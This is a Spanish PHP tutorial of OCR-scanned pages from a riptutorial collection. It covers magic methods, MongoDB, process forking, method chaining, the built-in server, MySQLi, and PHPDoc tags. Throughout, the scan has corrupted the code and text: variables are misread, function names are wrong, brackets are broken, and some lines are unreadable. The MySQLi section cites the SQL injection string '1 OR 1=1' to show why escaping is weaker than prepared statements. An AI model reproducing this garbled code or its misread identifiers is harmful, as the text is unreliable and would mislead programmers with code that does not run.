[0] => exampleCallStatic 


(1] 


SMS t 


https://riptutorial.com/es/nome 


for this is not so clear to me). 


366 


_ sleep () y__wakeup () 


__ sleep Y __wakeup Son métodos relacionados con el proceso de serialización. seria1ize función 
serialize COmprueba si una clase tiene un método _ sleep . Si es así, se ejecutará antes de 
cualquier serialización. Se supone que _ sleep devuelve una matriz de los nombres de todas las 
variables de un objeto que debe ser serializado. 


_ _wakeup a SU vez se ejecutará Con unserialize Si está presente en la clase. Su intención es 
restablecer los recursos y otras cosas que se necesitan inicializar en la deserialización. 


class Sleepy ( 
public $tableName; 
public S$tableFields; 
public S$dbConnection; 


* This magic method will be invoked by serialize function. 

* Note that $dbConnection is excluded. 

ds 
public function __sleep() 


( 


// Only $this->tableName and $this->tableFields will be serialized. 
return ['tableName', 'tableFields']; 


) 


pk 


* This magic method will be called by unserialize function. 
*k 


* For sake of example, lets assume that $this->c, which was not serialized, 
* is some kind of a database connection. So on wake up it will get reconnected. 
y 


public function _ _wakeup() 

[ 
// Connect to some default database and store handler/wrapper returned into 
// $this->dbConnection 
$this->dbConnection = DB: :connect (); 


__ información de depuración() 


var_dump () este método al volcar un objeto para obtener las propiedades que deben 
mostrarse. Si el método no está definido en un objeto, se mostrarán todas las 
propiedades públicas, protegidas y privadas. - Manual de PHP 


class DeepThought ( 
public function __debugInfo() ( 
return 1421; 


) 


5.6 


var_dump (new DeepThought ()); 
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El ejemplo anterior dará como resultado: 


class DeepThought+*1 (0) ( 
) 


5.6 
var_dump (new DeepThought ()); 
El ejemplo anterior dará como resultado: 


class DeepThought+1 (1) ( 
public $10) => 
int (42) 


_ Cclon() 


class CloneableUser 

1 
public $name; 
public $lastName; 


* This method will be invoked by a clone operator and will prepend "Copy " to the 


* name and lastName properties. 
E 
public function __clone() 


( 


Sthis->name = "Copy " . $this->name; 
Sthis->lastName = "Copy " . $this->lastName; 


Ejemplo: 


Suserl = new CloneableUser (); 
$Suserl->name = "John"; 
Suserl->lastName = "Doe"; 


Suser2 = clone Suserl; // triggers the __clone magic method 


echo $user2->name; // Copy John 
echo $user2->lastName; // Copy Doe 


Lea Metodos magicos en línea: https://riptutorial.com/es/php/topic/1127/metodos-magicos 


clone Se invoca mediante el uso de la palabra clave cone . Se utiliza para manipular el estado 
del objeto tras la clonación, después de que el objeto se haya clonado realmente. 
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Capítulo 68: mongo-php 


Sintaxis 


1. encontrar() 


Examples 


Todo entre MongoDB y Php 


Requerimientos 


+ El servidor MongoDB se ejecuta en el puerto generalmente 27017. (escriba mongoa en el 
símbolo del sistema para ejecutar el servidor mongodb) 


+ Php instalado como cgi o fpm con la extensión MongoDB instalada (la extensión MongoDB 
no se incluye con el php predeterminado) 


* Biblioteca de compositores (mongodb / mongodb). (En la ejecución raíz del proyecto pnp 
composer.phar require "mongodb/mongodb="1.0.0" para instalar la biblioteca MongoDB) 


Si todo está bien, estás listo para seguir adelante. 
Compruebe la instalación de php 


Si no está seguro, compruebe la instalación de Php ejecutando pnp -v en el símbolo del sistema y 
aparecerá algo como esto. 


PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend 
Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies 


Compruebe la instalación de MongoDB 


Verifique la instalación de MongoDB ejecutando mongo -—version devolverá la mongoDB shel1 


version: 3.2.6 
Compruebe la instalación de Composer 


Verifique la instalación de Composer ejecutando php composer.phar --version devolverá composer 
version 1.2-dev (3d09c17b489cd29a0c0b3b11e731987e70977974) 2016-08-30 16:12:39" 


Conectando a MongoDB desde php 


<?php 
//This path should point to Composer's autoloader from where your MongoDB library will be 


loaded 
require 'vendor/autoload.php'; 
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// when using custom username password 

try ( 
$mongo = new MongoDBAClient ('mongodb: //username:passwordtlocalhost:27017'); 
print_r($mongo->listDatabases/()); 


) catch (Exception $e) ( 


cho $e->getMessagel(); 


// when using default settings 

LEY A 
$mongo = new MongoDBAClient ('mongodb://localhost:27017'); 
print_r($mongo->listDatabases()); 


) catch (Exception $e) ( 


cho $e->getMessagel(); 


El código anterior se conectará utilizando la biblioteca de compositores MongoDB ( 
mongodb/mongodb ) incluida COMO vendor/autoload.php para conectarse al servidor MongoDB que se 
ejecuta en el port : 27017 . Si todo está bien, se conectará y mostrará una matriz, si se produce 
una excepción al conectarse al servidor MongoDB, se imprimirá el mensaje. 


CREAR (Insertar) en MongoDB 


<?php 


//MongoDB uses collection rather than Tables as in case on SOL. 

//Use $mongo instance to select the database and collection 

//NOTE: 1f database(here demo) and collection(here beers) are not found in MongoDB both will 
be created automatically by MongoDB. 


Scollection = $mongo->demo->beersj; 


//Using $collection we can insert one document into MongoDB 
//document is similar to row in SOL. 
Sresult = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] ); 


//Every inserted document will have a unique id. 
echo "Inserted with Object ID '(S$result->getInsertedId())'"; 
2> 


En el ejemplo, estamos usando la instancia $ mongo utilizada anteriormente en la parte de 
Connecting to MongoDB from php . MongoDB utiliza el formato de datos de tipo JSON, por lo que en 
php usaremos array para insertar datos en MongoDB, esta conversión de array a Json y 
viceversa se realizará mediante la biblioteca mongo. Cada documento en MongoDB tiene una ID 
única llamada _ id, durante la inserción podemos obtener esto usando sresult->getInsertedld() ; 


LEER (Buscar) en MongoDB 


<?php 
//use find() method to query for records, where parameter will be array containing key value 


pair we need to find. 
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$Sresult = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] ); 


// all the data(result) returned as array 


// use for each to filter the required keys 
foreach ($result as S$entry) ( 
celo Semezy "_i0 y, Ye y Sem [Macas 1, "alo 


SS 


Drop en MongoDB 


<?php 


Sresult = $collection->drop( [ 'name' => 'Hinterland'] ); 


//return 1 if the drop was sucessfull and 0 for failure 
print (result =>ok) 


> 


Hay muchos métodos que se pueden realizar en sc011ection consulte la documentación oficial de 
MongoDB 


Lea mongo-php en línea: https://riptutorial.com/es/php/topic/6794/mongo-php 
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Capítulo 69: Multiprocesamiento 


Examples 


Multiprocesamiento utilizando funciones de horquilla incorporadas. 


Puede usar funciones incorporadas para ejecutar procesos PHP como forks. Esta es la forma 
más sencilla de lograr un trabajo paralelo si no necesita sus hilos para hablar entre sí. 


Esto le permite realizar tareas que requieren mucho tiempo (como cargar un archivo a otro 
servidor o enviar un correo electrónico) a otro hilo para que su script se cargue más rápido y 
pueda usar múltiples núcleos, pero tenga en cuenta que esto no es un multihilo real y que su hilo 
principal no saber lo que los niños están haciendo. 


Tenga en cuenta que en Windows esto hará que aparezca otro indicador de comando para cada 
bifurcación que inicie. 


master.php 


Scmd = "php worker.php 10"; 
if (strtoupper (substr (PHP_0OS, 0, 3)) === 'WIN') // for windows use popen and pclose 


pclose (popen ($cmd, "r")); 


else //for unix systems use shell exec with "£" in the end 


exce bash Se "exec nohup sersida iSsemd. > /dev/mnull2> 1 nn 


worker.php 


//send emails, upload files, analyze logs, etc 
Ssleeptime = $fargv[1]; 
sleep($sleeptime); 


Creando proceso hijo usando tenedor 


PHP ha incorporado la función pent1_forx para crear procesos secundarios. pent1_forx es lo 
mismo que forx en unix. No toma ningún parámetro y devuelve un entero que puede usarse para 
diferenciar entre el proceso principal y el secundario. Considere el siguiente código para 
explicación 


<?php 
Dl Siotel de ¡une 21D oz clau Lel 


Spid = pentl_fork(); 
e (Gpitel == =1) 4 
die('Error while creating child process'); 


+ else if (Spid) ( 
// Parent process 
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) else ( 
// Child process 


> 


Como puede ver, -1 es un error en la bifurcación y no se creó el hijo. En la creación de child, 
tenemos dos procesos que se ejecutan con »1p separado. 


Otra consideración aquí es UN zombie process O UN zombie process defunct process cuando el 
proceso padre termina antes del proceso hijo. Para evitar un proceso de hijos zombis, 
simplemente agregue pent1_wait ($status) al final del proceso padre. 


pnctl_wait suspende la ejecución del proceso padre hasta que el proceso hijo haya 
salido. 


También vale la pena señalar que el zombie process NO Se puede s1icxILL Señal sIckILL . 
Comunicación entre procesos 


La comunicación entre procesos permite a los programadores comunicarse entre diferentes 
procesos. Por ejemplo, consideremos que necesitamos escribir una aplicación PHP que pueda 
ejecutar comandos de bash e imprimir la salida. Utilizaremos proc_open , que ejecutará el 
comando y devolverá un recurso con el que podemos comunicarnos. El siguiente código muestra 
una implementación básica que ejecuta pua en bash desde php 


<?php 
Sdescriptor = array ( 
0 => axzoy Malos", "eW), // jogos for sieclia ol clas leal 
=> ara Maga) MN), Y/ os Fo Suelo 19 (ell lel 
); 
Sprocess = proc_open ("bash", $descriptor, $pipes); 


if (is_resource($process)) ( 
fwrite($pipes[0], "pwd" . "An"); 
fclose ($pipes[0]); 
echo stream_get_contents ($pipes[1]); 
fclose ($pipes[1]); 
Sreturn_value = proc_close ($process); 


E> 


proc_open ejecuta el comando bash CON $descriptor COMO especificaciones del descriptor. Después 
de eso usamos is_resource para validar el proceso. Una vez hecho esto, podemos comenzar a 
interactuar con el proceso hijo utilizando $ pipe, que se genera de acuerdo con las 
especificaciones del descriptor. 


Después de eso, simplemente podemos usar fwrite para escribir en el stdin del proceso hijo. En 
este Caso pwa seguido de retorno de carro. Finalmente, stream_get_contents Se Usa para leer la 
stream_get_contents del proceso hijo. 


Siempre recuerde cerrar el proceso hijo utilizando proc_close () que terminará el hijo y 
devolverá el código de estado de salida. 
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Lea Multiprocesamiento en línea: https://riptutorial.com/es/php/topic/5263/multiprocesamiento 
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Capítulo 70: Patrones de diseño 


Introducción 


Este tema proporciona ejemplos de patrones de diseño bien conocidos implementados en PHP. 
Examples 


Método de encadenamiento en PHP 


El método de encadenamiento es una técnica que se explica en el libro de Martin Fowler 
Lenguajes específicos del dominio . Método de encadenamiento se resume como 


Los métodos modificadores de Makes devuelven el objeto host, de modo que se 
pueden invocar varios modificadores en una sola expresión . 


Considere este código no encadenado / regular (portado a PHP desde el libro mencionado 
anteriormente) 


ShardDrive = new HardDrive; 
ShardDrive->setCapacity(150); 
ShardDrive->external (); 
ShardDrive->setSpeed (7200); 


El método de encadenamiento le permitiría escribir las declaraciones anteriores de una manera 
más compacta: 


ShardDrive = (new HardDrive) 
=>setCapacity (150) 
->external () 

->setSpeed (7200); 


Todo lo que necesita hacer para que esto funcione €S return stnis en los métodos que desea 
encadenar: 


class HardDrive ( 


protected $isExternal = false; 
protected S$capacity = 0; 


protected S$speed = 0; 


public function external ($isExternal = true) ( 


Sthis->isExternal = $isExternal; 
return $this; // returns the current class instance to allow method chaining 


) 


public function setCapacity ($capacity) ( 
Sthis->capacity = $capacity; 
return $this; // returns the current class instance to allow method chaining 
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public function setSpeed ($speed) ( 
Sthis->speed = $speed; 
return $this; // returns the current class instance to allow method chaining 


Cuando usarlo 


Los principales casos de uso para utilizar el método de encadenamiento son cuando se crean 
lenguajes internos específicos de dominio. El método de encadenamiento es un bloque de 
construcción en Expression Builders e Fluent Interfaces . Sin embargo, no es sinónimo de ellos . 
Método de encadenamiento simplemente habilita aquellos. Citando a Fowler: 


También he notado un error común: muchas personas parecen equiparar las 
interfaces fluidas con el Encadenamiento de métodos. Ciertamente, el 
encadenamiento es una técnica común para usar con interfaces fluidas, pero la 
verdadera fluidez es mucho más que eso. 


Dicho esto, el uso de Method Chaining solo para evitar escribir el objeto host es considerado por 
muchos como un olor de código . Hace que las API no sean evidentes, especialmente cuando se 
mezclan con API sin encadenamiento. 


Notas adicionales 


Separación de consulta de comando 


Command Separación de separación es un principio de diseño presentado por Bertrand Meyer . 
Establece que los métodos que mutan el estado ( comandos ) no deben devolver nada, mientras 
que los métodos que devuelven algo ( consultas ) no deben mutar el estado. Esto hace que sea 
más fácil razonar sobre el sistema. El método de encadenamiento viola este principio porque 
estamos mutando el estado y devolviendo algo. 


Getters 


Al utilizar clases que implementan el encadenamiento de métodos, preste especial atención al 
llamar a métodos getter (es decir, métodos que devuelven algo diferente a sthis ). Como los 
captadores deben devolver un valor diferente a sthis , el encadenamiento de un método adicional 
a un captador hace que la llamada opere en el valor obtenido , no en el objeto original. Si bien hay 
algunos casos de uso para captadores encadenados, pueden hacer que el código sea menos 
legible. 


Ley de Demeter e impacto en las pruebas. 
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El método de encadenamiento como se presentó anteriormente no viola la Ley de Demeter . 
Tampoco tiene impacto en las pruebas. Esto se debe a que estamos devolviendo la instancia de 
host y no algún colaborador. Es un error común que surge de personas que confunden el mero 
encadenamiento de métodos con interfaces fluidas y constructores de expresiones . Solo cuando 
el Encadenamiento de métodos devuelve otros objetos que no son el objeto host , violas la Ley de 
Demeter y terminas con festines de prueba en tus pruebas. 


Lea Patrones de diseño en línea: https://riptutorial.com/es/php/topic/9992/patrones-de-diseno 
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Capítulo 71: PHP incorporado en el servidor 


Introducción 


Aprenda a usar el servidor incorporado para desarrollar y probar su aplicación sin la necesidad de 
otras herramientas como xamp, wamp, etc. 


Parámetros 
=S Dile al php que queremos un servidor web. 


<nombre_host>: <puerto> El nombre del host y el por que se utilizará. 


al Directorio publico 
<nombre de archivo> El script de enrutamiento 
Observaciones 


Un ejemplo de script de enrutador es: 


<?php 

// router.php 

if (preg_match('/M.(?:pngljpgljpeglgif)$/', $_SERVER["REQUEST_URI"])) ( 
return false; // serve the requested resource as-1s. 


y //the rest of you code goes here. 


Examples 


Ejecutando el servidor incorporado 
php -S localhost:80 


PHP 7.1.7 Development Server se inició el viernes 14 de julio 15:11:05 2017 
Escuchar en http: // localhost: 80 

La raíz del documento es C: 1 projetos 1 repgeral 

Presione Ctrl-C para salir. 


Esta es la forma más sencilla de iniciar un servidor PHP que responde a la solicitud realizada a 
localhost en el puerto 80. 


El -S le dice que estamos iniciando un servidor web. 
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El localhost: 80 indica el host que estamos respondiendo y el puerto. Puedes usar otras 
combinaciones como: 


* mymachine: 80 - escuchará en la dirección mymachine y el puerto 80; 
» 127.0.0.1:8080 - escuchará en la dirección 127.0.0.1 y el puerto 8080; 


Servidor incorporado con directorio específico y script de enrutador 
php -S localhost:80 -t project/public router.php 


PHP 7.1.7 Development Server se inició el viernes 14 de julio 15:22:25 2017 
Escuchar en http: // localhost: 80 

El documento raíz es / home / project / public 

Presione Ctrl-C para salir. 


Lea PHP incorporado en el servidor en línea: https://riptutorial.com/es/php/topic/10782/php- 
incorporado-en-el-servidor 


https://riptutorial.com/es/nome 379 


Capítulo 72: PHP MySQLi 


Introducción 

La interfaz mysa1: es una mejora (significa "extensión de mejora de MySQL”) de la interfaz mysa1 , 
que quedó en desuso en la versión 5.5 y se eliminó en la versión 7.0. La extensión mysqli, o como 
se conoce a veces, la extensión mejorada de MySQL, fue desarrollada para aprovechar las 


nuevas características que se encuentran en las versiones 4.1.3 y posteriores de los sistemas 
MySQL. La extensión mysqli se incluye con las versiones 5 y posteriores de PHP. 


Observaciones 


Caracteristicas 


La interfaz mysqli tiene una serie de beneficios, las mejoras clave en la extensión mysql son: 


Interfaz orientada a objetos 

* Soporte para declaraciones preparadas 
+ Soporte para declaraciones múltiples 

* Soporte para transacciones 

+ Capacidades de depuración mejoradas 
+ Soporte de servidor incorporado 


Cuenta con una interfaz dual : el más antiguo, el estilo de procedimiento y un nuevo estilo de 
programación orientada a objetos (DOP) . El mysa1 desuso tenía solo una interfaz de 
procedimiento, por lo que el estilo orientado a objetos es a menudo preferido. Sin embargo, el 
nuevo estilo también es favorable debido al poder de la POO. 


Alternativas 


Una alternativa a la interfaz mysa11 para acceder a las bases de datos es la nueva interfaz de 
objetos de datos PHP (PDO) . Esto incluye solo programación estilo OOP y puede acceder a más 
que solo bases de datos tipo MySQL. 


Examples 


MySOLi Connect 


Estilo orientado a objetos 


Conectar al servidor 
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Sconn = new mysqli ("localhost","my_user", "my_password"); 


Establezca la base de datos predeterminada: $conn->select_db ("my_db"); 


Conectar a la base de datos 


$conn = new mysqli ("localhost","my_user", "my_password","my_db"); 


Estilo procesal 


Conectar al servidor 

Sconn = mysqli_connect ("localhost","my_user", "my_password"); 
Establezca la base de datos predeterminada: mysqli_select_db ($conn, "my_db"); 
Conectar a la base de datos 

$conn = mysqli_connect ("localhost","my_user", "my_password","my_db"); 
Verificar la conexión de la base de datos 
Estilo orientado a objetos 


1f ($conn->connect_errno > 0) ( 
trigger_error ($db->connect_error); 
y // else: successfully connected 


Estilo procesal 


1£ ($conn) ( 
trigger_error (mysqli_connect_error ()); 
y // else: successfully connected 


Consulta de MySQLi 


La función de query toma una cadena SQL válida y la ejecuta directamente en la conexión de 
base de datos sconn 


Estilo orientado a objetos 


$result = $conn->query ("SELECT * FROM “people' "); 


Estilo procesal 


Sresult = mysqli_query ($conn, "SELECT * FROM 'people' "); 


PRECAUCIÓN 
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Un problema común aquí es que las personas simplemente ejecutarán la consulta y esperarán 
que funcione (es decir, devolver un objeto mysali_stmt). Dado que esta función solo toma una 
cadena, primero se crea la consulta usted mismo. Si hay algún error en el SQL, el compilador de 
MySQL fallará, momento en el que esta función devolverá el valor saise . 


$result = $conn->query('SELECT * FROM non _existent_table'); // This query will fail 


Srow = $result->fetch_assoc(); 


El código anterior generará un error ._rarar porque s$result €S false y no un objeto. 
Error fatal de PHP: llamar a una función miembro fetch_assoc () en un no objeto 


El error de procedimiento es similar, pero no fatal, porque solo estamos violando las expectativas 
de la función. 


Srow = mysqli_fetch_assoc($result); // same query as previous 


Obtendrá el siguiente mensaje de PHP 


mysqli_fetch_array () espera que el parámetro 1 sea mysqli_result, dado un valor 
booleano 


Puedes evitar esto haciendo una prueba primero. 


1f($result) $row = mysqli_fetch_assoc($result); 


Recorrer los resultados de MySQLi 


PHP hace que sea fácil obtener datos de sus resultados y recorrerlos usando una instrucción 
while. Cuando no puede obtener la siguiente fila, devuelve fa1se y su bucle termina. Estos 
ejemplos trabajan con 


e mysali_fetch_assoc - Matriz asociativa con nombres de columna como claves 

e mysali_fetch_object - stáaclass object con nombres de columna como variables 

e mysali_fetch_array - Matriz asociativa y numérica (puede usar argumentos para obtener uno 
u otro) 

e mysqli_fetch_row - matriz numérica 


Estilo orientado a objetos 


while($row = S$result->fetch_assoc()) ( 
var_dump ($row); 


Estilo procesal 


while($row = mysqli_fetch_assoc($result)) ( 
var_dump ($row); 


) 
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Para obtener información exacta de los resultados, podemos utilizar: 


while ($row = $result->fetch_assoc()) ( 
echo 'Name and surname: '.$row['name'].' '.$row['surname'].'<br>'; 
seo Misses Y Sia lares 1. or] YY) Bielas aro aio Vales" (eo 


Conexión cercana 


Cuando hayamos terminado de consultar la base de datos, se recomienda cerrar la conexión para 
liberar recursos. 


Estilo orientado a objetos 


Sconn->close (); 


Estilo procesal 


mysqli_close ($conn); 


Nota : La conexión con el servidor se cerrará tan pronto como finalice la ejecución del script, a 
menos que se cierre antes llamando explícitamente a la función de cerrar conexión. 


Caso de uso: si nuestro script tiene una buena cantidad de procesamiento para realizar después 
de obtener el resultado y ha recuperado el conjunto de resultados completo, definitivamente 
debemos cerrar la conexión. Si no lo hiciéramos, existe la posibilidad de que el servidor MySQL 
alcance su límite de conexión cuando el servidor web tenga un uso intensivo. 


Declaraciones preparadas en MySQLi 


Lea la sección Prevención de la inyección de SQL con consultas parametrizadas para ver una 
explicación completa de por qué las declaraciones preparadas lo ayudan a proteger sus 
declaraciones de SQL de los ataques de inyección de SQL. 


La variable s$conn aquí es un objeto MySQLi. Vea el ejemplo de conexión de MySQLi para más 
detalles. 


Para ambos ejemplos, asumimos que ssq1 es 


$sgl = "SELECT column_1 
FROM table 
WHERE column_2 = ? 
'ANDACO MUA 


El >? Representa los valores que proporcionaremos más adelante. Tenga en cuenta que no 
necesitamos cotizaciones para los marcadores de posición, independientemente del tipo. 
También podemos proporcionar solo marcadores de posición en las partes de datos de la 
consulta, es decir, ser , values Y were . No puede utilizar marcadores de posición en las partes 
SELECT O FROM. 
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Estilo orientado a objetos 


if (Sstmt = $conn->prepare ($sql)) ( 
Sstmt->bind_param("si", S$column_2 value, $column_3_value); 
Sstmt->execute (); 


Sstmt->bind_result ($column_1); 
Sstmt->fetch(); 
//Now use variable $column_1 one as if it were any other PHP variable 


Sstmt->close (); 


Estilo procesal 


if (Sstmt = mysqli_prepare ($conn, $sql)) ( 
mysqli_stmt_bind_param($stmt, "si", $column_2_ value, $column_3_value); 
mysqli_stmt_execute ($stmt); 
// Fetch data here 
mysqli_stmt_close($stmt); 


El primer parámetro de sstmt->bind_param O el segundo parámetro de mysqli_stmt_bind_param está 
determinado por el tipo de datos del parámetro correspondiente en la consulta SQL: 


Tipo de datos del parámetro enlazado 


i entero 
d doble 

s cuerda 
b gota 


Su lista de parámetros debe estar en el orden provisto en su consulta. En este ejemplo, si 
significa que el primer parámetro (| column_2 = > ) Es cadena y el segundo parámetro (column_3 > ? 
) Es entero. 


Para recuperar datos, consulte Cómo obtener datos de una declaración preparada 
Cuerdas de escape 


Escapar de cadenas es un método más antiguo ( y menos seguro ) de asegurar los datos para 
insertarlos en una consulta. Funciona utilizando la función mysql_real_escape_string () de MySQL 
para procesar y sanear los datos (en otras palabras, PHP no está escapando). La API de MySQLi 
proporciona acceso directo a esta función 


Sescaped = $conn->real_escape_string($_GET['var']); 
ASE 
Sescaped = mysqli_real_escape_string($conn, $_GET['var']); 
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En este punto, tiene una cadena que MySQL considera segura para usar en una consulta directa 


UN] 


$sgqgl = 'SELECT * FROM users WHERE username = "' , Sescaped . p 
Sresult = $conn->query ($sql); 


Entonces, ¿por qué esto no es tan seguro como las declaraciones preparadas ? Hay formas de 
engañar a MySQL para que produzca una cadena que considere segura. Considere el siguiente 
ejemplo 


Sid = mysqli_real_escape_string("1 OR 1=1"); 
$sql = 'SELECT * FROM table WHERE id = ' . Sid; 


1 or 1=1 no representa datos de los que MySQL se escapará, sin embargo, esto todavía 
representa la inyección de SQL. También hay otros ejemplos que representan lugares en los que 
devuelve datos no seguros. El problema es que la función de escape de MySQL está diseñada 
para hacer que los datos cumplan con la sintaxis SQL . NO está diseñado para garantizar que 
MySQL no pueda confundir los datos del usuario con las instrucciones SQL . 


MySOQLi Insertar ID 


Recupere el último ID generado por una consulta :1:s==" en una tabla con una columna 
AUTO_INCREMENT . 


Estilo orientado a objetos 
Sid = $conn->insert_id; 

Estilo procesal 
Sid = mysgli_insert_id($conn); 


Devuelve cero si no hubo una consulta previa en la conexión o si la consulta no 
actualizó un valor de AUTO_INCREMENT. 


Insertar ID al actualizar filas 


Normalmente, una instrucción urpatz no devuelve un ID de inserción, ya que un |D auro_incremeNT 
solo se devuelve cuando se ha guardado (o insertado) una nueva fila. Una forma de hacer 
actualizaciones al nuevo id es usar la sintaxis ivserT ... ON DUPLICATE KEY UPDATE para actualizar. 


Configuración de ejemplos a seguir: 


CREATE TABLE iodku ( 
id INT AUTO_INCREMENT NOT NULL, 
name VARCHAR(99) NOT NULL, 
misc INT NOT NULL, 
PRIMARY KEY (id), 
UNIQUE (name) 

) ENGINE=InnoDB; 
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INSERT INTO iodku (name, misc) 

VALUES 

('Leslie', 123), 

(Msaltisyt, 2456) 7 
Query OK, 2 rows affected (0.00 sec) 
Records: 2 Duplicates: 0 Warnings: 0 


el name misc 
ll Leslie 123 
2 Sally 456 


El caso de IODKU realizando una "actualización" y Lasr_1useRT_1D () recuperando la ¡a relevante: 


$sql = "INSERT INTO iodku (name, misc) 
VALUES 
(Sci, 3335) -=- should update 
ON DUPLICATE KEY UPDATE == "name will trigger "duplicate key" 


id = LAST_INSERT_ID(id), 
misc = VALUES (misc)"; 
Sconn->query ($sql) ; 
Sid = $conn->insert_id; == picking up existing value (2) 


El caso en el que lODKU realiza una "inserción" y LasT_1NSERT_1D () recupera la nueva ia : 


$sql = "INSERT INTO iodku (name, misc) 
VALUES 
(MD SON) == Should insert 
ON DUPLICATE KEY UPDATE 


id = LAST_INSERT_ID(id), 
misc = VALUES (misc); 


Sconn->query ($sql) ; 
Sid = $conn->insert_id; == picking up new value (3) 


Contenido de la tabla resultante: 


SELECT * FROM iodku; 
lol name misc 
ll Leslie 12335 
2 Sally 3859 -=- IODKU changed this 
3 Dana 189 =- IODKU added this 


Depuración de SQL en MySQLi 


Entonces su consulta ha fallado (vea MySQLi connect para ver cómo hicimos sconn ) 


$result = $conn->query('SELECT * FROM non _existent_table'); // This query will fail 


¿Cómo averiguamos lo que pasó? s$result €S false así que no sirve de nada. Afortunadamente, 
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connect s$conn puede decirnos lo que MySQL nos dijo sobre el error. 
trigger_error ($conn->error); 

o procesal 
trigger_error (mysqli_error ($conn)); 


Debería obtener un error similar a 


La tabla 'my_db.non_existent_table' no existe 


Cómo obtener datos de una declaración preparada 


Declaraciones preparadas 


Vea las declaraciones preparadas en MySQLi para saber cómo preparar y ejecutar una consulta. 


Vinculación de resultados 


Estilo orientado a objetos 


Sstmt->bind_result ($forename); 
Estilo procesal 


mysqli_stmt_bind_result ($stmt, $forename); 


El problema con el uso de bina_resul+ es que requiere que la declaración especifique las 
columnas que se usarán. Esto significa que para que la consulta anterior funcione, la consulta 
debe tener este aspecto sezecT forename FROM users . Para incluir más columnas, simplemente 
agréguelos como parámetros a la función bina_resu1t (y asegúrese de agregarlos a la consulta 
SQL). 


En ambos casos, estamos asignando la columna forename a la variable sforename . Estas funciones 
toman tantos argumentos como columnas que desea asignar. La asignación solo se realiza una 
vez, ya que la función se enlaza por referencia. 


Entonces podemos hacer un bucle de la siguiente manera: 


Estilo orientado a objetos 


while ($stmt->fetch()) 
echo "S$forename<br />"; 
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Estilo procesal 


while (mysqli_stmt_fetch($stmt)) 
echo "S$forename<br />"; 


El inconveniente de esto es que tiene que asignar muchas variables a la vez. Esto hace que el 
seguimiento de grandes consultas sea difícil. Si tiene instalado MySQL Native Driver ( mysqina ), 
todo lo que necesita hacer es usar get result. 


Estilo orientado a objetos 


Sresult Sstmt->get_result (); 


Estilo procesal 


Sresult = mysqli_stmt_get_result ($stmt); 


Es mucho más fácil trabajar con esto porque ahora obtenemos un objeto mysali_ result. Este es 
el mismo objeto que devuelve mysqli_query . Esto significa que puede usar un ciclo de resultados 
regular para obtener sus datos. 


¿Qué pasa si no puedo instalar .....:.« 2 


Si ese es el caso, (OSophivorus lo tiene cubierto con esta asombrosa respuesta . 


Esta función puede realizar la tarea de get_resu1t sin que esté instalada en el servidor. 
Simplemente recorre los resultados y crea una matriz asociativa 


function get_result (imysqli_stmt $statement) 
( 


Sresult = array (); 
$statement->store_result (); 
for ($i = 0; $1 < $statement->num_rows; $1++) 


( 


Smetadata = $statement->result_metadata(); 
Sparams = array (); 

whil (Sfield = $metadata->fetch_field()) 
( 


Sparams[] = $$result[$i] [$field->name]; 
) 
Ccall_user_func_array (array ($statement, 'bind_result'), $params); 
Sstatement->fetch(); 
) 


return $result; 


Luego podemos usar la función para obtener resultados como este, como si estuviéramos usando 


mysqli_fetch_assoc () 
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<?php 


$query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?"); 
Seomclliciloa = "yu 
Squery->bind_param("s", S$condition); 


Squery->execute (); 
$result = get_result ($query) ; 


while ($row = array_shift ($result)) ( 


cla Som ic. *=Yoy ro rare] . "Yo. sa eur] . “de> tp 


Tendrá la misma salida que si estuviera usando el controlador mysqina , excepto que no tiene que 
estar instalado. Esto es muy útil si no puede instalar dicho controlador en su sistema. Solo 
implementa esta solución. 


Lea PHP MySQLi en línea: https://riptutorial.com/es/php/topic/2784/php-mysali 
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Capítulo 73: php mysqli filas afectadas 
devuelve 0 cuando debería devolver un 
entero positivo 


Introducción 


Este script está diseñado para manejar dispositivos de informes (loT), cuando un dispositivo no 
está autorizado previamente (en la tabla de dispositivos de la base de datos), agrego el nuevo 
dispositivo a una tabla de nuevos dispositivos. Ejecuto una consulta de actualización, y si resulto 
en las flechas devuelve <1, inserto. 


Cuando tengo un nuevo informe de dispositivo, la primera vez que $ stmt-> favorite_rows se 
ejecuta devuelve 0, la comunicación posterior devuelve 1, luego 1, 0, 2, 2, 2,0,3,3,3,3,3,3,0, 
4, 0, O, 6, 6, 6, etc. 


Es como si la instrucción de actualización fallara. ¿Por qué? 


Examples 


PHP $ stmt- >fecteado_rows devolviendo intermitentemente 0 cuando debería 
devolver un entero positivo 


<?php 
// 1f device exists, update timestamp 


Sstmt = $mysqli->prepare ("UPDATE new_devices SET nd_timestamp=? WHERE nd_deviceid=?"); 


Sstmt->bind_param('ss', $now, $device); 

Sstmt->execute (); 

//echo "Affected Rows: ".$stmt->affected_rows; // This line is where 1 am checking the 
status of the update query. 


1f ($stmt->affected_rows < 1)(í // Because affected_rows sometimes returns 0, the insert 


code runs instead of being skipped. Now I have many duplicate entries. 


Sins = $mysqli->prepare ("INSERT INTO new_devices (nd_id,nd_deviceid,nd_timestamp) 
VALUES (nd_id,?,?)"); 
Sins -> bind _param("ss",$device, $now); 


Sins -> execute(); 
Sins => store _result (); 
Sis. => mrees ijesuilie (0), 


2> 
Lea php mysdli filas afectadas devuelve O cuando debería devolver un entero positivo en línea: 


https://riptutorial.com/es/php/topic/10705/php-mysali-filas-afectadas-devuelve-0-cuando-deberia- 
devolver-un-entero-positivo 
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Capítulo 74: PHPDoc 


Sintaxis 


* (Oapi 

* (autor [nombre] [<dirección de correo electrónico>] 

* (O copyright <descripción> 

* (Ddeprecated [<"Versión semántica">] [: <"Versión semántica">] [<descripción>] 

* (ejemplo [URI] [<descripción>] 

* (Oexample [URI] [: <start> .. <end>]) 

* (CinheritDoc 

* (interno 

* (Ointernal [descripción])) 

* (license [<identificador SPDX> | URI] [nombre] 

* (2 método [retorno "Tipo"] [nombre] (["Tipo"] [parámetro], [...]) [descripción] 

+ (paquete [nivel 1] 1 [nivel 2] 1 [etc.] 

* (Oparam ["Tipo"] [nombre] [<descripción>] 

* (D propiedad ["Tipo"] [nombre] [<descripción>] 

* (return <"Type"> [descripción] 

* (see [URI | "FQSEN"] [<descripción>] 

* (Osince [<"Versión semántica">] [<descripción>] 

* (throws ["Tipo"] [<descripción>] 

